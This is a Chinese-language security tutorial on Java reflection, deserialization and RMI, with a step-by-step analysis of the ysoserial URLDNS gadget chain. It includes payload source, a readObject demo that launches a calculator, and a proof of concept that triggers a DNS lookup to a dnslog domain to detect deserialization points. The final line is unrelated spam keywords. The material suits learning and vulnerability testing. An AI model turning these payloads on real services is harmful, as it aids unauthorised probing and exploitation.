<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Java安全|URLDNS鏈利用分析

    VSole2021-09-30 08:35:43

    java反射機制

    什么是java反射

    Java反射機制是在運行狀態時,對于任意一個類,都能夠獲取到這個類的所有屬性和方法;對于任意一個對象,都能夠調用它的任意一個方法和屬性(包括私有的方法和屬性),這種動態獲取的信息以及動態調用對象的方法的功能就稱為java語言的反射機制。

    看起來比較抽象,下面以代碼形式說明反射:

    先創建一個Person類:

    classPerson{
    privateString name;
    privateint age;
    publicString toString(){
    return"User{"+ "name="+ name + ", age"+ age +"}";
    }
    publicString getName(){
    return name;
    }
    publicvoid setName(String name){
    this.name =name;
    }
    publicint getAge(){
    return age;
    }
    publicvoid setAge(int age){
    this.age = age;
    }
    }
    

    那么這里有一個類了,像上面說的,我們怎么獲得該類的方法或者屬性呢?

    還是先來一個demo:下面的代碼是通過反射調用了Person類的setName方法。

    publicclassReflection02{
    publicstaticvoid main(String args[]) {
    try{
    Person person = newPerson();
    Class clazz = person.getClass();
    //Class clazz = org.sd.Person.class;
    //Class clazz = Class.forName("org.sd.Person");
    Method method = clazz.getMethod("setName", String.class);
                method.invoke(person, "Tom");
    System.out.println(person);
    } catch(NoSuchMethodException e) {
                e.printStackTrace();
    } catch(InvocationTargetException e) {
                e.printStackTrace();
    } catch(IllegalAccessException e) {
                e.printStackTrace();
    }
    }
    }
    

    運行結果為:

    可以看到可以執行setName方法,并且是通過如下幾行代碼來實現的:

    Person person = newPerson();
    Class clazz = person.getClass();
    Method method = clazz.getMethod("setName", String.class);
    method.invoke(person, "Tom");
    

    接下來讓我們分析一下這幾行代碼的含義。

    三種方式可獲得Class類實例

    1.getClass()函數:調用某個對象的getClass方法可獲得該類的Class類的實例。第二行代碼正是通過這種方式獲取到Class類的實例。2.forName()靜態方法:Class clazz = Class.forName("org.sd.Person");3.訪問某個類的class屬性,這個屬性就存儲著這個類對應的Class類的實例:Class clazz = org.sd.Person.class

    上面介紹的三種方式皆可獲取到某個類的Class類的實例,只不過在demo中使用的是getClass方法。

    獲取方法

    Method類位于java.lang.reflect包下,在Java反射中Method類描述的是類的方法信息(包括:方法修飾符、方法名稱、參數列表等等)。

    java中所有的方法都是Method類型,通過getMthod()方法可以獲得某一個Class實例的某一個方法。

    //代碼第三行
    clazz.getMethod(String name, Class[] params);//獲得類的特定方法,name參數指定方法的名字,params參數指定方法的參數類型
    

    獲取方法的方式不止這一種,還有如下方法:

    1.getMethods(): 獲得類的public類型的方法2.getDeclaredMethods(): 獲取類中所有的方法(public、protected、default、private)3.getDeclaredMethod(String name, Class[] params): 獲得類的特定方法,name參數指定方法的名字,params參數指定方法的參數類型

    調用方法

    Method類中有一個invoke方法,用來調用特定的方法,函數定義為:

    publicObject invoke(Object obj, Object... args);
    //第一個參數是方法屬于的對象(如果是靜態方法,則可以直接傳 null)
    //第二個可變參數是該方法的參數
    

    那么代碼第四行:實際上就是調用了person對象的setName方法,并傳入一個參數“Tom”給setName。

    java反序列化

    為什么需要序列化

    提到反序列化,先需要了解序列化是什么。

    問自己這樣一個問題:為什么需要序列化?我認為理解了為什么需要序列化也就明白了什么是序列化。

    jvm一旦關閉,那么java中的對象也就銷毀了。假設程序員想要持久化儲存該對象或者在網絡上傳輸,怎么辦?就需要將這個對象寫入磁盤里,怎么寫?將一個對象進行序列化后寫入。時勢造英雄,正因為有這種需求,序列化應運而生了。

    序列化:把對象轉換為字節序列 。
    反序列化:把字節序列轉換為對象。

    滿足序列化條件

    并非每一個對象都是可序列化的。能夠序列化的對象有如下特征:

    1.實現了java.io.Serializable接口。2.該類的所有屬性必須是可序列化的。

    這里稍微細說一下,看一下Serializable接口

    發現里面什么都沒寫,實際上Serializable接口僅僅作為一個標識。

    接口沒有定義任何方法,它是一個空接口。我們把這樣的空接口稱為“標記接口”(Marker Interface),實現了標記接口的類僅僅是給自身貼了個“標記”。

    如何序列化一個對象

    要序列化一個對象,首先要創建OutputStream對象,再將其封裝在一個ObjectOutputStream對象內,接著只需調用writeObject()即可將對象序列化,并將其發送給OutputStream(對象是基于字節的,因此要使用InputStream和OutputStream來繼承層次結構)。
    要反序列化出一個對象,需要將一個InputStream封裝在ObjectInputStream內,然后調用readObject()即可。

    還是先上代碼:通過序列化將User("tony",18)這個實例序列化存儲(User.ser)后。又反序列化該文件獲取對象,并讀取該對象屬性。

    @Test
    publicvoid test2(){
    User user = newUser("tony",18);
    try{
    //創建一個FileOutputStream,同時會創建一個User.ser文件
    FileOutputStream fos = newFileOutputStream("./User.ser");
    //將該FileOutputStream封裝到ObjectOutputStream中
    ObjectOutputStream os = newObjectOutputStream(fos);
    //調用writeObject方法,系列化對象到文件User.ser中
                os.writeObject(user);
    //序列化結束
    System.out.println("讀取數據:");
    //創建FileInputStream對象
    FileInputStream fis = newFileInputStream("./user.ser");
    //將FileInputStream封裝到ObjectInputStream
    ObjectInputStreamis= newObjectInputStream(fis);
    //調用readObject從user.ser中反序列化出對象。需要類型轉化,默認是object
    User user1 = (User)is.readObject();
                user1.info();
    } catch(FileNotFoundException e) {
                e.printStackTrace();
    } catch(IOException e) {
                e.printStackTrace();
    } catch(ClassNotFoundException e) {
                e.printStackTrace();
    }
    }
    }
    classUserimplementsSerializable{
    privateString name;
    privateint age;
    User(){
    }
    User(String name,int age){
    this.name = name;
    this.age = age;
    }
    publicString toString(){
    return"User{"+ "name="+ name + ", age"+age+"}";
    }
    publicString getName(){
    return name;
    }
    publicvoid setName(String name){
    this.name =name;
    }
    publicint getAge(){
    return age;
    }
    publicvoid setAge(int age){
    this.age = age;
    }
    publicvoid info(){
    System.out.println("Name: "+name+", Age: "+age);
    }
    //readObject重寫
    // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{
    //System.out.println("[*]執行了自定義的readObject函數");
    //Runtime.getRuntime().exec("calc");
    //}
    }
    

    運行結果:

    并且在上級目錄寫入了一個user.ser文件

    使用liunx中的xxd命令可以看下他的內容

    aced是java序列化的一個標志,聲明了該文件為序列化后的文件。像pe文件的4d5a一樣,是說明該文件類型的標志。

    0005是序列化協議版本。

    反序列化可能帶來的危害

    java中執行系統命令的方式:

    publicclassExecTest{
    publicstaticvoid main(String[] args) throwsException{
    Runtime.getRuntime().exec("calc");
    }
    }
    

    注意上一小節代碼最后幾行的注釋部分,現在取消注釋,重新運行代碼:

    發現執行了命令,運行了計算器。

    也就是當readObject()方法被重寫的的話,反序列化該類時調用便是重寫后的readObject()方法。如果該方法書寫不當的話就有可能引發惡意代碼的執行。

    RMI

    什么是RMI

    RMI全稱是Remote Method Invocation,遠程?法調?,在Java在JDK1.2中實現。能夠讓在客戶端Java虛擬機上的對象像調用本地對象一樣調用服務端Java虛擬機中的對象上的方法。客戶端比如說是在手機,然后服務端是在電腦;同時都有java環境,然后手機端調用電腦端那邊的某個方法。

    RMI依賴的默認通信協議為JRMP(Java Remote Message Protocol ,Java 遠程消息交換協議),這是運行在Java RMI之下、TCP/IP之上的線路層協議。該協議為Java定制,要求服務端與客戶端都為Java編寫。這個協議就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范。在RMI傳輸過程中,對象實際上就是通過序列化方式進行編碼傳輸的。(等會兒驗證)

    RMI分為三個主體部分:

    ?Client-客戶端:客戶端調用服務端的方法?Server-服務端:遠程調用方法對象的提供者,也是代碼真正執行的地方,執行結束會返回給客戶端一個方法執行的結果。?Registry-注冊中心:用于客戶端查詢要調用的方法的引用。

    RMI遠程調用方法為:

    1.客戶調用客戶端輔助對象stub上的方法2.客戶端輔助對象stub打包調用信息(變量,方法名),通過網絡發送給服務端輔助對象skeleton3.服務端輔助對象skeleton將客戶端輔助對象發送來的信息解包,找出真正被調用的方法以及該方法所在對象4.調用真正服務對象上的真正方法,并將結果返回給服務端輔助對象skeleton5.服務端輔助對象將結果打包,發送給客戶端輔助對象stub6.客戶端輔助對象將返回值解包,返回給調用者7.客戶獲得返回值

    實現一個RMI

    先實現一個接口繼承java.rmi.Remote

    publicinterfaceIRemoteHelloWorldextendsRemote{
    publicString hello() throws java.rmi.RemoteException;
    }
    

    注冊中心

    publicclassRegistry{
    publicstaticvoid main(String[] args){
    try{
    LocateRegistry.createRegistry(1099);
    } catch(RemoteException e) {
                e.printStackTrace();
    }
    while(true);
    }
    }
    

    服務端

    繼承UnicastRemoteObject類,并實現上面定義的接口。將Server類實例化后綁定到注冊中心注冊的地址。

    publicclassRMIServerextendsUnicastRemoteObjectimplementsIRemoteHelloWorld{
    publicRMIServer() throwsRemoteException{
    }
    publicString sayhello() throwsRemoteException{
    System.out.println("Hello,Server");
    return"Hello,Client";
    }
    privatevoid start() throwsException{
    RMIServer rmiServer = newRMIServer();
    LocateRegistry.getRegistry(1099);
    Naming.rebind("rmi://127.0.0.1:1099/Hello", rmiServer);
    }
    publicstaticvoid main(String[] args) throwsException{
    newRMIServer().start();
    }
    }
    

    客戶端

    publicclassRMIClient{
    publicstaticvoid main(String[] args) throwsMalformedURLException, NotBoundException, RemoteException{
    IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://172.20.10.5:1099/Hello");
    String ret = iRemoteHelloWorld.sayhello();
    System.out.println(ret);
    }
    }
    

    先運行注冊中心代碼,然后啟動Server,Client即可。

    可以看到客戶端可以調用服務端的方法,方法在服務端執行,并將結果返回給客戶端。

    上面剛剛說RMI是通過序列化在網絡間傳輸,下面通過抓包證實。

    經過兩次TCP握手。第一次連接服務端(注冊中心)的1099端口,之后向服務端(注冊中心)發送了一個Call,這個Call就對應著Client在Registry中尋找Name是Hello的對象。

    顯然aced是java序列化的標志,說明了是通過序列化方式進行傳輸。

    然后服務端(注冊中心)給客戶端發送了一個ReturnData,這個ReturnData就對應著Name為Hello的對象。然后與一個新的端口49791進行第二次的TCP握手連接。

    這個端口并不是無跡可尋,就存在ReturnData中。

    0x0000c27f反序列化后為49791。

    連接到服務端的49791端口才算真正的連接到服務端,此時客戶端才能調用服務端的hello方法。

    RMI Registry就像?個?關,他??是不會執?遠程?法的,但RMI Server可以在上?注冊?個Name 到對象的綁定關系;RMI Client通過Name向RMI Registry查詢,得到這個綁定關系,然后再連接RMI Server;最后,遠程?法實際上在RMI Server上調?。

    URLDNS鏈學習

    URLDNS 就是ysoserial中?個利?鏈的名字,但準確來說,這個其實不能稱作“利?鏈”。因為其參數不 是?個可以“利?”的命令,?僅為?個URL,其能觸發的結果也不是命令執?,?是?次DNS請求。
    由于URLDNS不需要依賴第三方的包,同時不限制jdk的版本,所以通常用于檢測反序列化的點。
    URLDNS并不能執行命令,只能發送DNS請求。

    首先去看看這個鏈的payload長什么樣子。去github上下載源碼:ysoserial/URLDNS.java at master · frohoff/ysoserial · GitHub

    publicclass URLDNS implementsObjectPayload<Object> {
    publicObject getObject(finalString url) throwsException{
    //Avoid DNS resolution during payload creation
    //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
    URLStreamHandler handler = newSilentURLStreamHandler();
    HashMap ht = newHashMap(); // HashMap that will contain the URL
                    URL u = new URL(null, url, handler); // URL to use as the Key
                    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
    return ht;
    }
    publicstaticvoid main(finalString[] args) throwsException{
    PayloadRunner.run(URLDNS.class, args);
    }
    /**
    * 
    This instance of URLStreamHandleris used to avoid any DNS resolution while creating the URL instance.* DNS resolution is used for vulnerability detection. Itis important not to probe the given URL prior* using the serialized object.
    *
    * Potentialfalse negative:
    * 
    If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the* second resolution.
    */
    staticclassSilentURLStreamHandlerextendsURLStreamHandler{
    protectedURLConnection openConnection(URL u) throwsIOException{
    returnnull;
    }
    protectedsynchronizedInetAddress getHostAddress(URL u) {
    returnnull;
    }
    }
    }
    

    在這些代碼上面還有一些說明,英語不好也就不翻譯了,同時提到的還有該利用鏈:

    GadgetChain:
    HashMap.readObject()
    HashMap.putVal()
    HashMap.hash()
               URL.hashCode()
    

    payload中有許多注釋,可以通過這些注釋更好地理解。

    由于利用鏈用到了HashMap,就簡單回康師傅那里復習一下,這里簡單介紹一下

    Map是一個集合,本質上還是數組,HashMap是Map的子接口。該集合的結構為key-->value,兩個一起稱為一個Entry(jdk7),在jdk8中底層的數組為Node[]。當new HashMap()時,在jdk7中會直接創建一個長度為16的數組;jdk8中并不直接創建,而是在調用put方法時才去創建一個長度為16的數組。
    下面的分析在jdk8中完成,我認為至少要了解HashMap的基本結構,key--->value

    URLDNS分析

    利用鏈說了是從HashMap.readObject()開始,那就根據提供的利用鏈,一層一層進入。先找到HashMap.readObject():

    privatevoid readObject(java.io.ObjectInputStream s)
    throwsIOException, ClassNotFoundException{
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
            s.defaultReadObject();
            reinitialize();
    if(loadFactor <= 0|| Float.isNaN(loadFactor))
    thrownewInvalidObjectException("Illegal load factor: "+
                                                 loadFactor);
            s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if(mappings < 0)
    thrownewInvalidObjectException("Illegal mappings count: "+
                                                 mappings);
    elseif(mappings > 0) { // (if zero, use defaults)
    // Size the table using given load factor only if within
    // range of 0.25...4.0
    float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
    float fc = (float)mappings / lf + 1.0f;
    int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                           DEFAULT_INITIAL_CAPACITY :
    (fc >= MAXIMUM_CAPACITY) ?
                           MAXIMUM_CAPACITY :
                           tableSizeFor((int)fc));
    float ft = (float)cap * lf;
                threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
    (int)ft : Integer.MAX_VALUE);
    // Check Map.Entry[].class since it's the nearest public type to
    // what we're actually creating.
    SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
    @SuppressWarnings({"rawtypes","unchecked"})
    Node[] tab = (Node[])newNode[cap];
                table = tab;
    // Read the keys and values, and put the mappings in the HashMap
    for(int i = 0; i < mappings; i++) {
    @SuppressWarnings("unchecked")
                        K key = (K) s.readObject();
    @SuppressWarnings("unchecked")
                        V value = (V) s.readObject();
                    putVal(hash(key), key, value, false, false);
    }
    

    可以看到hashmap是重寫了readObject方法,由于利用鏈第二個調用的函數是HashMap.putVal(),其中參數又調用HashMap.hash(),跟入到hash方法。在該方法中看到了hashCode方法的調用。

    這里調用hashCode的對象為Object,實際傳入值的時候,該對象會變成java.net.URL,所以實際上調用的是URL的hashcode方法。

    publicsynchronizedint hashCode() {
    if(hashCode != -1)
    return hashCode;
            hashCode = handler.hashCode(this);
    return hashCode;
    }
    

    如果hashCode的值為-1,那么將執行handler的hashCode方法,跟入該方法

    繼續跟入java.net.URLStreamHandler的hashcode方法。

    在該方法中,調用了getHostAddress,通過注釋可以看到要通過DNS查詢主機的ip。

    其實到這里就可以結束了,要想繼續的話就在跟一層。

    通過InetAddress.getByName函數注釋可以看到:如果輸入的參數是主機名則查詢ip,這就有一次dns查詢。

    所以可以使用dnslog查看是否有dns日志,如果有則說明執行了被重寫后的readObject函數,那么也證明了存在可反序列化的點。

    但是到這里,我總感覺還是有一些地方沒搞清除,回到URLDNS。

    這里通過注釋可以看到:避免payload生成期間有DNS查詢。跟一下SilentURLStreamHandler類,發現他是繼承URLStreamHandler,并且重寫了openConnectiongetHostAddress方法,openConnection方法是一個抽象方法所以必須重寫,重寫getHostAddress則是為了防?在?成Payload的時候也執?了URL請求和DNS查詢。執行getHostAddress時直接返回null,避免進一步調用getByName()

    當我視圖說服自己時,發現這里還有一個問題:為什么要防?在?成Payload的時候也執?了URL請求和DNS查詢。

    回到hashMap.readObject方法

    hash方法中參數key的來源為readObject讀取出的,那么意味著在序列化WriteObject方法時就已經將這個值寫入。

    跟進hashMap.WriteObject()

    跟入internalWriteEntries,可以看到這里寫入的key為tab數組中抽出來的,而tab的值即HashMap中table的值。

    想要修改table的值,就需要調用HashMap.put()方法。

    但是HashMap.put()方法是會觸發一次dns請求的,這就解釋了為什么需要防?在?成Payload的時候也執?了URL請求和DNS查詢的問題。但這并不是必須的。

    除了重寫getHostAddress方法這里還有一個辦法,看到URL.hashCode()

    如果設置hashCode的值不為-1,那么將無法進入到URLStreamHandler.hashCode()函數中,也就無法執行DNS查詢。

    那么這下大致就理清楚了,gadget為:

    1.HashMap->readObject()2.HashMap->hash()3.URL->hashCode()4.URLStreamHandler->hashCode()5.URLStreamHandler->getHostAddress()6.InetAddress->getByName()

    最后還是復現一下。一個簡單的POC:

    publicclassUrlDemo{
    publicstaticvoid main(String[] args) throwsException{
    HashMap map = newHashMap();
            URL url = new URL("http://5i6qar.dnslog.cn");
    Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
            f.setAccessible(true); // 繞過Java語言權限控制檢查的權限
            f.set(url,123); //設置hashCode的值不為-1,無法進行DNS查詢
            map.put(url,"Tom");
            f.set(url,-1); //保證反序列化時可以進行DNS查詢
    try{
    FileOutputStream fileOutputStream = newFileOutputStream("./urldns.ser");
    ObjectOutputStream outputStream = newObjectOutputStream(fileOutputStream);
                outputStream.writeObject(map);
                outputStream.close();
                fileOutputStream.close();
    FileInputStream fileInputStream = newFileInputStream("./urldns.ser");
    ObjectInputStream inputStream = newObjectInputStream(fileInputStream);
                inputStream.readObject();
                inputStream.close();
                fileInputStream.close();
    }
    catch(Exception e){
                e.printStackTrace();
    }
    }
    }
    

    推薦閱讀

    java安全漫談反射篇(1) 

    java安全漫談RMI篇(1) 

    javasec

    https://github.com/Maskhe/javasec

    Java安全之反序列化篇

    https://paper.seebug.org/1242/


    dns協議hashmap
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    關于java的反序列化只是大概知道是因為readObject方法,導致的但是怎么個過程導致的rce,還是很迷糊的。 但是直接從CC鏈來學習的話,對新手實在不太友好。所以,今天從ysoserial.jar中最簡單的URLDNSgadget來學習一下反序列化的流程。
    淺談Java反序列化漏洞
    2022-05-17 17:48:01
    Java序列化與反序列化Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
    Java RMI 利用入門學習
    2021-09-19 14:04:35
    Windows中遇到了Java RMI,反彈又不那么方便,這時該如何利用呢?It’s a question。正好加強Java學習了。
    java反射機制是什么
    本文是很久之前做的筆記,今天有空又梳理了一下,分享出來。如果有錯誤或疏漏,歡迎留言指出。 Kerberos是一種基于票據的、集中式的網絡認證協議,適用于C/S模型,由MIT開發和實現(http://web.mit.edu/kerberos/dist/)。 這里所謂的認證,就是保證使用票據(Ticket)的用戶必須是票據中指定的用戶。 簡單回憶一下,密碼學涉及機密性、完整性、認證性(實體認證+
    DNS 層次結構中的域遍布全球,由世界各地的 DNS 名稱服務器托管。整個DNS協議長度一般不超過512字符。通過wireshark抓包,看到請求stage下發是通過txt記錄 在beacon上線之后,執行checkin,使beacon強制回連CS,beacon就會發送心跳到CS上。beacon收到應答之后,向CS 請求的TXT記錄,CS則以命令應答。beacon收到txt應答,解析出命令并執行,將結果以A請求的方式回傳CS。Refresh Number 從DNS服務器隔一定時間會查詢主DNS服務器中的序列號是否增加,即域文件是否有變化。
    時光飛逝,轉眼間2021年已過大半,我們的“防火墻ALG技術”系列文章也已經更新到了第四期,之前推送的《防火墻ALG技術之安全策略》 《防火墻ALG技術之FTP協議穿墻術》 《防火墻ALG技術之TFTP協議穿墻術》 可點擊鏈接進行閱讀。本期介紹DNS協議穿越防火墻NAT,淺談個人理解與認知。
    DNS over HTTPS(DoH)由RFC8484定義,其目標之一是增加用戶的隱私,通過 HTTPS 解析 DNS 查詢。目前國外廠商如Adguard、Cloudflare、Google、Quad9等對公提供DoH服務,國內也有廠商陸續提供DoH服務。
    當歐盟在幾年前推出《通用數據保護條例》(GDPR)以應用隱私問題時,并未想到GDPR竟然掀起了全球隱私保護運動的浪潮。但在今年初,歐盟發布的《DNS濫用研究》卻無人問津。DNS在安全中的重要性無庸置疑,因此本文嘗試對這份指南作一個概況解讀。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类